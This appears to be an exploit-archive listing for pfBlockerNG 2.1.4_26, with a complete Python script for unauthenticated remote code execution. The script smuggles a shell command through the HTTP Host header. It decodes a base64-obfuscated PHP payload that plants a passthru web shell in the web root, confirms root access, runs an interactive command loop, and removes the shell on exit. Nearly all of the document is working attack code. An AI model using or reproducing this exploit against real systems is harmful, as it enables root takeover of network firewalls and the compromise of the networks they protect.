pfBlockerNG 2.1.4_26 Shell Upload

pfBlockerNG version 2.1.4_26 unauthenticated remote shell upload exploit.


SHA-256 | 1d7eee5bc1593b474c54a3d280da28d67551d6ae08d22fa5a7a679595e50b007

#!/usr/bin/env python3
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()

def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()

def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")


def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)

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